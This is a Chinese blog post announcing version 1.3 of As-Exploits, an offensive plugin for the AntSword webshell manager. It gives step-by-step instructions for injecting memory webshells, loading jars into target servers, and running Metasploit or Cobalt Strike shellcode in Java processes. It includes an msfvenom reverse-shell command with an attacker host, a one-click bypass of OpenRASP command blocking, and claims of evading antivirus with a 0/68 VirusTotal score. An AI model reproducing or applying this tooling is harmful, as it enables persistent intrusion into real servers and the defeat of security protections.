长亭百川云 - 文章详情

As-Exploits v1.3更新

学蚁致用

72

2024-07-13

更新主要内容


注:需要将蚁剑更新至v2.1.12

v 1.3 (2021/5/14)

  • equals支持数组传参方式,兼容各种容器

  • jsp新增 ShellCode加载器模块,内置两种分别基于jna跟java agent的shellcode加载方式

  • jsp新增 Bypass OpenRASP 模块,thx@Godzilla

  • JarLoader模块 新增手动上传方式,解决因Tomcat最大POST长度为2m导致无法加载内存Jar的问题

  • reGeorg内存马改为更稳定的neo-reGerog,默认密码:asexploits

  • 冰蝎内存马支持3.7,去除pageContext依赖,兼容Spring等容器

  • 各模块兼容JDK5

挑几个重点的说说

Shell入口参数支持数组形式

Shell入口参数即下面new Object[]{request,response}的部分。

<%

至于为什么要改这个玩意要从内存马的兼容说起。

除了由于写法问题而导致的各种乱七八糟的问题以外,连接内存马的一个主要问题是冰蝎在入口处采用了pageContext这个类来获取request response session对象。但是以filter型内存马为例,doFilter中三个参数分别是ServletRequest,ServletResponse,FilterChain,并不存在pageContext这个东西,并且在SpringBoot这种容器里根本没有pageContext这个类。

于是就有很多师傅提出了自己的解决办法,大体分为三种:

  1. 自己声明一个pageContext类,在里面实现对应的request跟response的getter setter。冰蝎改造之不改动客户端=>内存马

  2. 改写冰蝎的入口为request+response,不再采用pageContext作为入口。但是弊端就是不能再用equals了,要重新写一个方法用反射调用。冰蝎改造之适配基于tomcat Filter的无文件webshell - 先知社区 (aliyun.com)

  3. 采用蚁剑原来的Custom模式,把恶意函数直接通过字节码打进去,然后通过方法名调用。不过由于直接编译恶意函数的字节码较大会超过最大长度限制,一般要先写入目标然后配合URLClassLoader才能使用。使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell - 先知社区 (aliyun.com)

以上的这些方法可以是可以,但是不够优雅。

回想我们最开始的问题,为什么要用pageContext,是为了拿到当前请求的上下文,更精确一点就是输入输出:request,response。request是接收参数,response是回显,两者缺一不可。

后来自己调试的时候发现在request中本身就包含了当前的response,同样response中也包含了当前的request。

当时就想着我shell中传个request,然后在payload里面利用反射把requst里面的response取出来,或者response里面的request取出来不就完事了?

这样确实可以,在2020年9月4日,勤劳的我一大早就起来写了一波代码,然后发了上去,commit记录可以证明我没有瞎bb。当时蚁剑算是最早兼容内存马的。

因为Tomcat喜欢用门面模式,所以要反射两层,结果后来发现在WebLogic下用不了了,因为WebLogic不喜欢搞门面模式,只需要反射一层就够了。

行吧,那我就再加一种情况,在JSP V1.4版本又增加了一层反射的情况。

本来以为没事了,后来又发现在有shiro的情况下打一个servlet内存马进去,这时候去连接内存马需要反射三次??

WTF???

然后意识到,这种case by case的解决方式是不行的,世界上还有那么多种Web容器中间件,不可能一个一个去调吧。

所以为了彻底解决这个问题,在520师傅的建议下采用了数组的方式将两者直接传进去,把分析的逻辑放在打内存Shell的时候去做,而不在payload里面去做。

现在冰蝎跟哥斯拉也都有了相应的机制,思路大体是一样的,感兴趣的小伙伴可以自己研究一下。

JarLoader模块新增手动上传方式

内存加载

直接通过HTTP包将Jar打入目标内存,仅需选择本地需要上传的Jar文件即可,期间文件不落地。但是Tomcat默认POST最大上传大小为2M,如果超过了此大小请选择手动上传模式。

手动上传

先手动将Jar上传到目标服务器上,然后通过路径加载。

JSP ShellCode加载器

内置两种加载方式,使用之前请务必认真阅读使用说明,否则可能直接将Java进程打挂。

需要注意两点:

  • 使用MSF需要加上PrependMigrate=true PrependMigrateProc=xxxx.exe参数,自动迁移到新的进程,否则会在migrate/exit的时候把Java进程给干掉,导致网站瘫痪。例如:

  • msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.88.129 LPORT=8888  PrependMigrate=true PrependMigrateProc=svchost.exe -f hex
    
  • JNA方式只需要X86类型的ShellCode即可,而Attach方式需要根据目标Java位数来选择对应的ShellCode。

JNA方式

利用第三方库JNA进行ShellCode的加载。

适用范围:JDK>=1.5

正确操作

  1. 首先利用Jar加载器将ShellCodeLoader.jar上传到目标服务器目录并加载。

  2. 使用MSF或者CS生成x86类型的shellcode,并开启监听。

  3. 在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。

  4. 点击exploit,等待返回回话。

JNA方式测试

装了360,火绒,电脑管家

上传插件ext目录下的ShellcodeLoader.jar到目标服务器,然后复制文件路径

手动加载到JVM中

MSF生成Shellcode

选择JNA方式,exploit!

直接上线,杀软没有拦截

关于jna会生成一个临时文件的问题,发现确实会生成一个dll临时文件在Tomcat临时目录下

但是扫了一下发现是免杀的

VT检测结果0/68,也就是说落地也问题不大。

不过可能这篇文章出来之后就没了

Attach

模拟java agent注入过程来实现Shellcode的加载。这个native方法是jdk自带的,并且经过oracle签名的,理论上免杀效果更好。

适用范围:JDK>=1.6

正确操作

  1. 基本信息,exploit,Ctrl+F 搜索 sun.arch.data.model,查看java位数

  2. 根据java位数生成对应位数的shellcode,并开启监听。

  3. 在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。

  4. 点击exploit,等待返回回话。

Attach方式测试

发现是64位java

CS生成对应位数的shellcode,选择java格式导出。

粘贴到插件中,在exploit的一刻会自动格式化为hex

直接上线,杀软没有拦截。

一键Bypass OpenRASP

借鉴自哥斯拉的插件:Godzilla-BypassOpenRasp

一键绕过OpenRASP

目标安装有OpenRASP且开启命令执行拦截

exploit!

再次运行,即可执行命令

其他

  • reGeorg内存马改为更稳定的neo-reGerog,默认密码:asexploits

  • 冰蝎内存马去除pageContext依赖,兼容Spring等容器

  • 各模块兼容JDK5


项目地址

https://github.com/yzddmr6/As-Exploits

来颗star吧~

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2